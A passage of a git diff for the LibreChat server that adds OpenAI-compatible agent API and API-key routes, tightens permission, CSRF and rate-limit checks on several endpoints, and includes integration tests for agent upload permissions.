+const checkAgentPermission = createCheckRemoteAgentAccess({
+ getAgent,
+ getEffectivePermissions,
+});
+
+router.use(requireApiKeyAuth);
+router.use(configMiddleware);
+router.use(checkRemoteAgentsFeature);
+
+/**
+ * @route POST /v1/chat/completions
+ * @desc OpenAI-compatible chat completions with agents
+ * @access Private (API key auth required)
+ *
+ * Request body:
+ * {
+ * "model": "agent_id", // Required: The agent ID to use
+ * "messages": [...], // Required: Array of chat messages
+ * "stream": true, // Optional: Whether to stream (default: false)
+ * "conversation_id": "...", // Optional: Conversation ID for context
+ * "parent_message_id": "..." // Optional: Parent message for threading
+ * }
+ *
+ * Response (streaming):
+ * - SSE stream with OpenAI chat.completion.chunk format
+ * - Includes delta.reasoning for thinking/reasoning content
+ *
+ * Response (non-streaming):
+ * - Standard OpenAI chat.completion format
+ */
+router.post('/chat/completions', checkAgentPermission, OpenAIChatCompletionController);
+
+/**
+ * @route GET /v1/models
+ * @desc List available agents as models
+ * @access Private (API key auth required)
+ *
+ * Response:
+ * {
+ * "object": "list",
+ * "data": [
+ * {
+ * "id": "agent_id",
+ * "object": "model",
+ * "name": "Agent Name",
+ * "provider": "openai",
+ * ...
+ * }
+ * ]
+ * }
+ */
+router.get('/models', ListModelsController);
+
+/**
+ * @route GET /v1/models/:model
+ * @desc Get details for a specific agent/model
+ * @access Private (API key auth required)
+ */
+router.get('/models/:model', GetModelController);
+
+module.exports = router;
diff --git a/api/server/routes/agents/responses.js b/api/server/routes/agents/responses.js
new file mode 100644
index 0000000000..431942e921
--- /dev/null
+++ b/api/server/routes/agents/responses.js
@@ -0,0 +1,144 @@
+/**
+ * Open Responses API routes for LibreChat agents.
+ *
+ * Implements the Open Responses specification for a forward-looking,
+ * agentic API that uses items as the fundamental unit and semantic
+ * streaming events.
+ *
+ * Usage:
+ * POST /v1/responses - Create a response
+ * GET /v1/models - List available agents
+ *
+ * Request format:
+ * {
+ * "model": "agent_id_here",
+ * "input": "Hello!" or [{ type: "message", role: "user", content: "Hello!" }],
+ * "stream": true,
+ * "previous_response_id": "optional_conversation_id"
+ * }
+ *
+ * @see https://openresponses.org/specification
+ */
+const express = require('express');
+const { PermissionTypes, Permissions } = require('librechat-data-provider');
+const {
+ generateCheckAccess,
+ createRequireApiKeyAuth,
+ createCheckRemoteAgentAccess,
+} = require('@librechat/api');
+const {
+ createResponse,
+ getResponse,
+ listModels,
+} = require('~/server/controllers/agents/responses');
+const { getEffectivePermissions } = require('~/server/services/PermissionService');
+const { validateAgentApiKey, findUser } = require('~/models');
+const { configMiddleware } = require('~/server/middleware');
+const { getRoleByName } = require('~/models/Role');
+const { getAgent } = require('~/models/Agent');
+
+const router = express.Router();
+
+const requireApiKeyAuth = createRequireApiKeyAuth({
+ validateAgentApiKey,
+ findUser,
+});
+
+const checkRemoteAgentsFeature = generateCheckAccess({
+ permissionType: PermissionTypes.REMOTE_AGENTS,
+ permissions: [Permissions.USE],
+ getRoleByName,
+});
+
+const checkAgentPermission = createCheckRemoteAgentAccess({
+ getAgent,
+ getEffectivePermissions,
+});
+
+router.use(requireApiKeyAuth);
+router.use(configMiddleware);
+router.use(checkRemoteAgentsFeature);
+
+/**
+ * @route POST /v1/responses
+ * @desc Create a model response following Open Responses specification
+ * @access Private (API key auth required)
+ *
+ * Request body:
+ * {
+ * "model": "agent_id", // Required: The agent ID to use
+ * "input": "..." | [...], // Required: String or array of input items
+ * "stream": true, // Optional: Whether to stream (default: false)
+ * "previous_response_id": "...", // Optional: Previous response for continuation
+ * "instructions": "...", // Optional: Additional instructions
+ * "tools": [...], // Optional: Additional tools
+ * "tool_choice": "auto", // Optional: Tool choice mode
+ * "max_output_tokens": 4096, // Optional: Max tokens
+ * "temperature": 0.7 // Optional: Temperature
+ * }
+ *
+ * Response (streaming):
+ * - SSE stream with semantic events:
+ * - response.in_progress
+ * - response.output_item.added
+ * - response.content_part.added
+ * - response.output_text.delta
+ * - response.output_text.done
+ * - response.function_call_arguments.delta
+ * - response.output_item.done
+ * - response.completed
+ * - [DONE]
+ *
+ * Response (non-streaming):
+ * {
+ * "id": "resp_xxx",
+ * "object": "response",
+ * "created_at": 1234567890,
+ * "status": "completed",
+ * "model": "agent_id",
+ * "output": [...], // Array of output items
+ * "usage": { ... }
+ * }
+ */
+router.post('/', checkAgentPermission, createResponse);
+
+/**
+ * @route GET /v1/responses/models
+ * @desc List available agents as models
+ * @access Private (API key auth required)
+ *
+ * Response:
+ * {
+ * "object": "list",
+ * "data": [
+ * {
+ * "id": "agent_id",
+ * "object": "model",
+ * "name": "Agent Name",
+ * "provider": "openai",
+ * ...
+ * }
+ * ]
+ * }
+ */
+router.get('/models', listModels);
+
+/**
+ * @route GET /v1/responses/:id
+ * @desc Retrieve a stored response by ID
+ * @access Private (API key auth required)
+ *
+ * Response:
+ * {
+ * "id": "resp_xxx",
+ * "object": "response",
+ * "created_at": 1234567890,
+ * "status": "completed",
+ * "model": "agent_id",
+ * "output": [...],
+ * "usage": { ... }
+ * }
+ */
+router.get('/:id', getResponse);
+
+module.exports = router;
diff --git a/api/server/routes/agents/v1.js b/api/server/routes/agents/v1.js
index 682a9c795f..ed989bcf44 100644
--- a/api/server/routes/agents/v1.js
+++ b/api/server/routes/agents/v1.js
@@ -117,7 +117,7 @@ router.post(
'/:id/duplicate',
checkAgentCreate,
canAccessAgentResource({
- requiredPermission: PermissionBits.VIEW,
+ requiredPermission: PermissionBits.EDIT,
resourceIdParam: 'id',
}),
v1.duplicateAgent,
diff --git a/api/server/routes/apiKeys.js b/api/server/routes/apiKeys.js
new file mode 100644
index 0000000000..29dcc326f5
--- /dev/null
+++ b/api/server/routes/apiKeys.js
@@ -0,0 +1,36 @@
+const express = require('express');
+const { generateCheckAccess, createApiKeyHandlers } = require('@librechat/api');
+const { PermissionTypes, Permissions } = require('librechat-data-provider');
+const {
+ getAgentApiKeyById,
+ createAgentApiKey,
+ deleteAgentApiKey,
+ listAgentApiKeys,
+} = require('~/models');
+const { requireJwtAuth } = require('~/server/middleware');
+const { getRoleByName } = require('~/models/Role');
+
+const router = express.Router();
+
+const handlers = createApiKeyHandlers({
+ createAgentApiKey,
+ listAgentApiKeys,
+ deleteAgentApiKey,
+ getAgentApiKeyById,
+});
+
+const checkRemoteAgentsUse = generateCheckAccess({
+ permissionType: PermissionTypes.REMOTE_AGENTS,
+ permissions: [Permissions.USE],
+ getRoleByName,
+});
+
+router.post('/', requireJwtAuth, checkRemoteAgentsUse, handlers.createApiKey);
+
+router.get('/', requireJwtAuth, checkRemoteAgentsUse, handlers.listApiKeys);
+
+router.get('/:id', requireJwtAuth, checkRemoteAgentsUse, handlers.getApiKey);
+
+router.delete('/:id', requireJwtAuth, checkRemoteAgentsUse, handlers.deleteApiKey);
+
+module.exports = router;
diff --git a/api/server/routes/auth.js b/api/server/routes/auth.js
index e84442f65f..d55684f3de 100644
--- a/api/server/routes/auth.js
+++ b/api/server/routes/auth.js
@@ -63,7 +63,7 @@ router.post(
resetPasswordController,
);
-router.get('/2fa/enable', middleware.requireJwtAuth, enable2FA);
+router.post('/2fa/enable', middleware.requireJwtAuth, enable2FA);
router.post('/2fa/verify', middleware.requireJwtAuth, verify2FA);
router.post('/2fa/verify-temp', middleware.checkBan, verify2FAWithTempToken);
router.post('/2fa/confirm', middleware.requireJwtAuth, confirm2FA);
diff --git a/api/server/routes/config.js b/api/server/routes/config.js
index a2dc5b79d2..0adc9272bb 100644
--- a/api/server/routes/config.js
+++ b/api/server/routes/config.js
@@ -16,9 +16,7 @@ const sharedLinksEnabled =
process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
const publicSharedLinksEnabled =
- sharedLinksEnabled &&
- (process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined ||
- isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC));
+ sharedLinksEnabled && isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
const sharePointFilePickerEnabled = isEnabled(process.env.ENABLE_SHAREPOINT_FILEPICKER);
const openidReuseTokens = isEnabled(process.env.OPENID_REUSE_TOKENS);
diff --git a/api/server/routes/convos.js b/api/server/routes/convos.js
index 75b3656f59..578796170a 100644
--- a/api/server/routes/convos.js
+++ b/api/server/routes/convos.js
@@ -1,7 +1,7 @@
const multer = require('multer');
const express = require('express');
const { sleep } = require('@librechat/agents');
-const { isEnabled } = require('@librechat/api');
+const { isEnabled, resolveImportMaxFileSize } = require('@librechat/api');
const { logger } = require('@librechat/data-schemas');
const { CacheKeys, EModelEndpoint } = require('librechat-data-provider');
const {
@@ -98,7 +98,7 @@ router.get('/gen_title/:conversationId', async (req, res) => {
router.delete('/', async (req, res) => {
let filter = {};
- const { conversationId, source, thread_id, endpoint } = req.body.arg;
+ const { conversationId, source, thread_id, endpoint } = req.body?.arg ?? {};
// Prevent deletion of all conversations
if (!conversationId && !source && !thread_id && !endpoint) {
@@ -160,7 +160,7 @@ router.delete('/all', async (req, res) => {
* @returns {object} 200 - The updated conversation object.
*/
router.post('/archive', validateConvoAccess, async (req, res) => {
- const { conversationId, isArchived } = req.body.arg ?? {};
+ const { conversationId, isArchived } = req.body?.arg ?? {};
if (!conversationId) {
return res.status(400).json({ error: 'conversationId is required' });
@@ -194,7 +194,7 @@ const MAX_CONVO_TITLE_LENGTH = 1024;
* @returns {object} 201 - The updated conversation object.
*/
router.post('/update', validateConvoAccess, async (req, res) => {
- const { conversationId, title } = req.body.arg ?? {};
+ const { conversationId, title } = req.body?.arg ?? {};
if (!conversationId) {
return res.status(400).json({ error: 'conversationId is required' });
@@ -224,8 +224,27 @@ router.post('/update', validateConvoAccess, async (req, res) => {
});
const { importIpLimiter, importUserLimiter } = createImportLimiters();
+/** Fork and duplicate share one rate-limit budget (same "clone" operation class) */
const { forkIpLimiter, forkUserLimiter } = createForkLimiters();
-const upload = multer({ storage: storage, fileFilter: importFileFilter });
+const importMaxFileSize = resolveImportMaxFileSize();
+const upload = multer({
+ storage,
+ fileFilter: importFileFilter,
+ limits: { fileSize: importMaxFileSize },
+});
+const uploadSingle = upload.single('file');
+
+function handleUpload(req, res, next) {
+ uploadSingle(req, res, (err) => {
+ if (err && err.code === 'LIMIT_FILE_SIZE') {
+ return res.status(413).json({ message: 'File exceeds the maximum allowed size' });
+ }
+ if (err) {
+ return next(err);
+ }
+ next();
+ });
+}
/**
* Imports a conversation from a JSON file and saves it to the database.
@@ -238,7 +257,7 @@ router.post(
importIpLimiter,
importUserLimiter,
configMiddleware,
- upload.single('file'),
+ handleUpload,
async (req, res) => {
try {
/* TODO: optimize to return imported conversations and add manually */
@@ -280,7 +299,7 @@ router.post('/fork', forkIpLimiter, forkUserLimiter, async (req, res) => {
}
});
-router.post('/duplicate', async (req, res) => {
+router.post('/duplicate', forkIpLimiter, forkUserLimiter, async (req, res) => {
const { conversationId, title } = req.body;
try {
diff --git a/api/server/routes/files/files.js b/api/server/routes/files/files.js
index 5de2ddb379..9290d1a7ed 100644
--- a/api/server/routes/files/files.js
+++ b/api/server/routes/files/files.js
@@ -2,12 +2,12 @@ const fs = require('fs').promises;
const express = require('express');
const { EnvVar } = require('@librechat/agents');
const { logger } = require('@librechat/data-schemas');
+const { verifyAgentUploadPermission } = require('@librechat/api');
const {
Time,
isUUID,
CacheKeys,
FileSources,
- SystemRoles,
ResourceType,
EModelEndpoint,
PermissionBits,
@@ -381,48 +381,15 @@ router.post('/', async (req, res) => {
return await processFileUpload({ req, res, metadata });
}
- /**
- * Check agent permissions for permanent agent file uploads (not message attachments).
- * Message attachments (message_file=true) are temporary files for a single conversation
- * and should be allowed for users who can chat with the agent.
- * Permanent file uploads to tool_resources require EDIT permission.
- */
- const isMessageAttachment = metadata.message_file === true || metadata.message_file === 'true';
- if (metadata.agent_id && metadata.tool_resource && !isMessageAttachment) {
- const userId = req.user.id;
-
- /** Admin users bypass permission checks */
- if (req.user.role !== SystemRoles.ADMIN) {
- const agent = await getAgent({ id: metadata.agent_id });
-
- if (!agent) {
- return res.status(404).json({
- error: 'Not Found',
- message: 'Agent not found',
- });
- }
-
- /** Check if user is the author or has edit permission */
- if (agent.author.toString() !== userId) {
- const hasEditPermission = await checkPermission({
- userId,
- role: req.user.role,
- resourceType: ResourceType.AGENT,
- resourceId: agent._id,
- requiredPermission: PermissionBits.EDIT,
- });
-
- if (!hasEditPermission) {
- logger.warn(
- `[/files] User ${userId} denied upload to agent ${metadata.agent_id} (insufficient permissions)`,
- );
- return res.status(403).json({
- error: 'Forbidden',
- message: 'Insufficient permissions to upload files to this agent',
- });
- }
- }
- }
+ const denied = await verifyAgentUploadPermission({
+ req,
+ res,
+ metadata,
+ getAgent,
+ checkPermission,
+ });
+ if (denied) {
+ return;
}
return await processAgentFileUpload({ req, res, metadata });
diff --git a/api/server/routes/files/images.agents.test.js b/api/server/routes/files/images.agents.test.js
new file mode 100644
index 0000000000..862ab87d63
--- /dev/null
+++ b/api/server/routes/files/images.agents.test.js
@@ -0,0 +1,376 @@
+const express = require('express');
+const request = require('supertest');
+const mongoose = require('mongoose');
+const { v4: uuidv4 } = require('uuid');
+const { createMethods } = require('@librechat/data-schemas');
+const { MongoMemoryServer } = require('mongodb-memory-server');
+const {
+ SystemRoles,
+ AccessRoleIds,
+ ResourceType,
+ PrincipalType,
+} = require('librechat-data-provider');
+const { createAgent } = require('~/models/Agent');
+
+jest.mock('~/server/services/Files/process', () => ({
+ processAgentFileUpload: jest.fn().mockImplementation(async ({ res }) => {
+ return res.status(200).json({ message: 'Agent file uploaded', file_id: 'test-file-id' });
+ }),
+ processImageFile: jest.fn().mockImplementation(async ({ res }) => {
+ return res.status(200).json({ message: 'Image processed' });
+ }),
+ filterFile: jest.fn(),
+}));
+
+jest.mock('fs', () => {
+ const actualFs = jest.requireActual('fs');
+ return {
+ ...actualFs,
+ promises: {
+ ...actualFs.promises,
+ unlink: jest.fn().mockResolvedValue(undefined),
+ },
+ };
+});
+
+const fs = require('fs');
+const { processAgentFileUpload } = require('~/server/services/Files/process');
+
+const router = require('~/server/routes/files/images');
+
+describe('POST /images - Agent Upload Permission Check (Integration)', () => {
+ let mongoServer;
+ let authorId;
+ let otherUserId;
+ let agentCustomId;
+ let User;
+ let Agent;
+ let AclEntry;
+ let methods;
+ let modelsToCleanup = [];
+
+ beforeAll(async () => {
+ mongoServer = await MongoMemoryServer.create();
+ const mongoUri = mongoServer.getUri();
+ await mongoose.connect(mongoUri);
+
+ const { createModels } = require('@librechat/data-schemas');
+ const models = createModels(mongoose);
+ modelsToCleanup = Object.keys(models);
+ Object.assign(mongoose.models, models);
+ methods = createMethods(mongoose);
+
+ User = models.User;
+ Agent = models.Agent;
+ AclEntry = models.AclEntry;
+
+ await methods.seedDefaultRoles();
+ });
+
+ afterAll(async () => {
+ const collections = mongoose.connection.collections;
+ for (const key in collections) {
+ await collections[key].deleteMany({});
+ }
+ for (const modelName of modelsToCleanup) {
+ if (mongoose.models[modelName]) {
+ delete mongoose.models[modelName];
+ }
+ }
+ await mongoose.disconnect();
+ await mongoServer.stop();
+ });
+
+ beforeEach(async () => {
+ await Agent.deleteMany({});
+ await User.deleteMany({});
+ await AclEntry.deleteMany({});
+
+ authorId = new mongoose.Types.ObjectId();
+ otherUserId = new mongoose.Types.ObjectId();
+ agentCustomId = `agent_${uuidv4().replace(/-/g, '').substring(0, 21)}`;
+
+ await User.create({ _id: authorId, username: 'author', email: 'author@test.com' });
+ await User.create({ _id: otherUserId, username: 'other', email: 'other@test.com' });
+
+ jest.clearAllMocks();
+ });
+
+ const createAppWithUser = (userId, userRole = SystemRoles.USER) => {
+ const app = express();
+ app.use(express.json());
+ app.use((req, _res, next) => {
+ if (req.method === 'POST') {
+ req.file = {
+ originalname: 'test.png',
+ mimetype: 'image/png',
+ size: 100,
+ path: '/tmp/t.png',
+ filename: 'test.png',
+ };
+ req.file_id = uuidv4();
+ }
+ next();
+ });
+ app.use((req, _res, next) => {
+ req.user = { id: userId.toString(), role: userRole };
+ req.app = { locals: {} };
+ req.config = { fileStrategy: 'local', paths: { imageOutput: '/tmp/images' } };
+ next();
+ });
+ app.use('/images', router);
+ return app;
+ };
+
+ it('should return 403 when user has no permission on agent', async () => {
+ await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(403);
+ expect(response.body.error).toBe('Forbidden');
+ expect(processAgentFileUpload).not.toHaveBeenCalled();
+ expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
+ });
+
+ it('should allow upload for agent owner', async () => {
+ await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const app = createAppWithUser(authorId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(200);
+ expect(processAgentFileUpload).toHaveBeenCalled();
+ });
+
+ it('should allow upload for admin regardless of ownership', async () => {
+ await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId, SystemRoles.ADMIN);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(200);
+ expect(processAgentFileUpload).toHaveBeenCalled();
+ });
+
+ it('should allow upload for user with EDIT permission', async () => {
+ const agent = await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const { grantPermission } = require('~/server/services/PermissionService');
+ await grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: otherUserId,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ accessRoleId: AccessRoleIds.AGENT_EDITOR,
+ grantedBy: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(200);
+ expect(processAgentFileUpload).toHaveBeenCalled();
+ });
+
+ it('should deny upload for user with only VIEW permission', async () => {
+ const agent = await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const { grantPermission } = require('~/server/services/PermissionService');
+ await grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: otherUserId,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ accessRoleId: AccessRoleIds.AGENT_VIEWER,
+ grantedBy: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(403);
+ expect(response.body.error).toBe('Forbidden');
+ expect(processAgentFileUpload).not.toHaveBeenCalled();
+ expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
+ });
+
+ it('should skip permission check for regular image uploads without agent_id/tool_resource', async () => {
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(200);
+ });
+
+ it('should return 404 for non-existent agent', async () => {
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: 'agent_nonexistent123456789',
+ tool_resource: 'context',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(404);
+ expect(response.body.error).toBe('Not Found');
+ expect(processAgentFileUpload).not.toHaveBeenCalled();
+ expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
+ });
+
+ it('should allow message_file attachment (boolean true) without EDIT permission', async () => {
+ const agent = await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const { grantPermission } = require('~/server/services/PermissionService');
+ await grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: otherUserId,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ accessRoleId: AccessRoleIds.AGENT_VIEWER,
+ grantedBy: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ message_file: true,
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(200);
+ expect(processAgentFileUpload).toHaveBeenCalled();
+ });
+
+ it('should allow message_file attachment (string "true") without EDIT permission', async () => {
+ const agent = await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const { grantPermission } = require('~/server/services/PermissionService');
+ await grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: otherUserId,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ accessRoleId: AccessRoleIds.AGENT_VIEWER,
+ grantedBy: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ message_file: 'true',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(200);
+ expect(processAgentFileUpload).toHaveBeenCalled();
+ });
+
+ it('should deny upload when message_file is false (not a message attachment)', async () => {
+ const agent = await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const { grantPermission } = require('~/server/services/PermissionService');
+ await grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: otherUserId,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ accessRoleId: AccessRoleIds.AGENT_VIEWER,
+ grantedBy: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ message_file: false,
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(403);
+ expect(response.body.error).toBe('Forbidden');
+ expect(processAgentFileUpload).not.toHaveBeenCalled();
+ expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
+ });
+});
diff --git a/api/server/routes/files/images.js b/api/server/routes/files/images.js
index 8072612a69..185ec7a671 100644
--- a/api/server/routes/files/images.js
+++ b/api/server/routes/files/images.js
@@ -2,12 +2,15 @@ const path = require('path');
const fs = require('fs').promises;
const express = require('express');
const { logger } = require('@librechat/data-schemas');
+const { verifyAgentUploadPermission } = require('@librechat/api');
const { isAssistantsEndpoint } = require('librechat-data-provider');
const {
processAgentFileUpload,
processImageFile,
filterFile,
} = require('~/server/services/Files/process');
+const { checkPermission } = require('~/server/services/PermissionService');
+const { getAgent } = require('~/models/Agent');
const router = express.Router();
@@ -22,6 +25,16 @@ router.post('/', async (req, res) => {
metadata.file_id = req.file_id;
if (!isAssistantsEndpoint(metadata.endpoint) && metadata.tool_resource != null) {
+ const denied = await verifyAgentUploadPermission({
+ req,
+ res,
+ metadata,
+ getAgent,
+ checkPermission,
+ });
+ if (denied) {
+ return;
+ }
return await processAgentFileUpload({ req, res, metadata });
}
diff --git a/api/server/routes/index.js b/api/server/routes/index.js
index f3571099cb..6a48919db3 100644
--- a/api/server/routes/index.js
+++ b/api/server/routes/index.js
@@ -1,6 +1,7 @@
const accessPermissions = require('./accessPermissions');
const assistants = require('./assistants');
const categories = require('./categories');
+const adminAuth = require('./admin/auth');
const endpoints = require('./endpoints');
const staticRoute = require('./static');
const messages = require('./messages');
@@ -9,6 +10,7 @@ const presets = require('./presets');
const prompts = require('./prompts');
const balance = require('./balance');
const actions = require('./actions');
+const apiKeys = require('./apiKeys');
const banner = require('./banner');
const search = require('./search');
const models = require('./models');
@@ -28,7 +30,9 @@ const mcp = require('./mcp');
module.exports = {
mcp,
auth,
+ adminAuth,
keys,
+ apiKeys,
user,
tags,
roles,
diff --git a/api/server/routes/keys.js b/api/server/routes/keys.js
index 620e4d234b..dfd68f69c4 100644
--- a/api/server/routes/keys.js
+++ b/api/server/routes/keys.js
@@ -5,7 +5,11 @@ const { requireJwtAuth } = require('~/server/middleware');
const router = express.Router();
router.put('/', requireJwtAuth, async (req, res) => {
- await updateUserKey({ userId: req.user.id, ...req.body });
+ if (req.body == null || typeof req.body !== 'object') {
+ return res.status(400).send({ error: 'Invalid request body.' });
+ }
+ const { name, value, expiresAt } = req.body;
+ await updateUserKey({ userId: req.user.id, name, value, expiresAt });
res.status(201).send();
});
diff --git a/api/server/routes/mcp.js b/api/server/routes/mcp.js
index f01c7ff71c..57a99d199a 100644
--- a/api/server/routes/mcp.js
+++ b/api/server/routes/mcp.js
@@ -8,18 +8,33 @@ const {
Permissions,
} = require('librechat-data-provider');
const {
+ getBasePath,
createSafeUser,
MCPOAuthHandler,
MCPTokenStorage,
- getBasePath,
+ setOAuthSession,
+ PENDING_STALE_MS,
getUserMCPAuthMap,
+ validateOAuthCsrf,
+ OAUTH_CSRF_COOKIE,
+ setOAuthCsrfCookie,
generateCheckAccess,
+ validateOAuthSession,
+ OAUTH_SESSION_COOKIE,
} = require('@librechat/api');
const {
- getMCPManager,
- getFlowStateManager,
+ createMCPServerController,
+ updateMCPServerController,
+ deleteMCPServerController,
+ getMCPServersList,
+ getMCPServerById,
+ getMCPTools,
+} = require('~/server/controllers/mcp');
+const {
getOAuthReconnectionManager,
getMCPServersRegistry,
+ getFlowStateManager,
+ getMCPManager,
} = require('~/config');
const { getMCPSetupData, getServerConnectionStatus } = require('~/server/services/MCP');
const { requireJwtAuth, canAccessMCPServerResource } = require('~/server/middleware');
@@ -27,20 +42,26 @@ const { findToken, updateToken, createToken, deleteTokens } = require('~/models'
const { getUserPluginAuthValue } = require('~/server/services/PluginService');
const { updateMCPServerTools } = require('~/server/services/Config/mcp');
const { reinitMCPServer } = require('~/server/services/Tools/mcp');
-const { getMCPTools } = require('~/server/controllers/mcp');
const { findPluginAuthsByKeys } = require('~/models');
const { getRoleByName } = require('~/models/Role');
const { getLogStores } = require('~/cache');
-const {
- createMCPServerController,
- getMCPServerById,
- getMCPServersList,
- updateMCPServerController,
- deleteMCPServerController,
-} = require('~/server/controllers/mcp');
const router = Router();
+const OAUTH_CSRF_COOKIE_PATH = '/api/mcp';
+
+const checkMCPUsePermissions = generateCheckAccess({
+ permissionType: PermissionTypes.MCP_SERVERS,
+ permissions: [Permissions.USE],
+ getRoleByName,
+});
+
+const checkMCPCreate = generateCheckAccess({
+ permissionType: PermissionTypes.MCP_SERVERS,
+ permissions: [Permissions.USE, Permissions.CREATE],
+ getRoleByName,
+});
+
/**
* Get all MCP tools available to the user
* Returns only MCP tools, completely decoupled from regular LibreChat tools
@@ -53,7 +74,7 @@ router.get('/tools', requireJwtAuth, async (req, res) => {
* Initiate OAuth flow
* This endpoint is called when the user clicks the auth link in the UI
*/
-router.get('/:serverName/oauth/initiate', requireJwtAuth, async (req, res) => {
+router.get('/:serverName/oauth/initiate', requireJwtAuth, setOAuthSession, async (req, res) => {
try {
const { serverName } = req.params;
const { userId, flowId } = req.query;
@@ -83,7 +104,11 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, async (req, res) => {
}
const oauthHeaders = await getOAuthHeaders(serverName, userId);
- const { authorizationUrl, flowId: oauthFlowId } = await MCPOAuthHandler.initiateOAuthFlow(
+ const {
+ authorizationUrl,
+ flowId: oauthFlowId,
+ flowMetadata,
+ } = await MCPOAuthHandler.initiateOAuthFlow(
serverName,
serverUrl,
userId,
@@ -93,7 +118,8 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, async (req, res) => {
logger.debug('[MCP OAuth] OAuth flow initiated', { oauthFlowId, authorizationUrl });
- // Redirect user to the authorization URL
+ await MCPOAuthHandler.storeStateMapping(flowMetadata.state, oauthFlowId, flowManager);
+ setOAuthCsrfCookie(res, oauthFlowId, OAUTH_CSRF_COOKIE_PATH);
res.redirect(authorizationUrl);
} catch (error) {
logger.error('[MCP OAuth] Failed to initiate OAuth', error);
@@ -135,12 +161,53 @@ router.get('/:serverName/oauth/callback', async (req, res) => {
return res.redirect(`${basePath}/oauth/error?error=missing_state`);
}
- const flowId = state;
- logger.debug('[MCP OAuth] Using flow ID from state', { flowId });
-
const flowsCache = getLogStores(CacheKeys.FLOWS);
const flowManager = getFlowStateManager(flowsCache);
+ const flowId = await MCPOAuthHandler.resolveStateToFlowId(state, flowManager);
+ if (!flowId) {
+ logger.error('[MCP OAuth] Could not resolve state to flow ID', { state });
+ return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
+ }
+ logger.debug('[MCP OAuth] Resolved flow ID from state', { flowId });
+
+ const flowParts = flowId.split(':');
+ if (flowParts.length < 2 || !flowParts[0] || !flowParts[1]) {
+ logger.error('[MCP OAuth] Invalid flow ID format', { flowId });
+ return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
+ }
+
+ const [flowUserId] = flowParts;
+
+ const hasCsrf = validateOAuthCsrf(req, res, flowId, OAUTH_CSRF_COOKIE_PATH);
+ const hasSession = !hasCsrf && validateOAuthSession(req, flowUserId);
+ let hasActiveFlow = false;
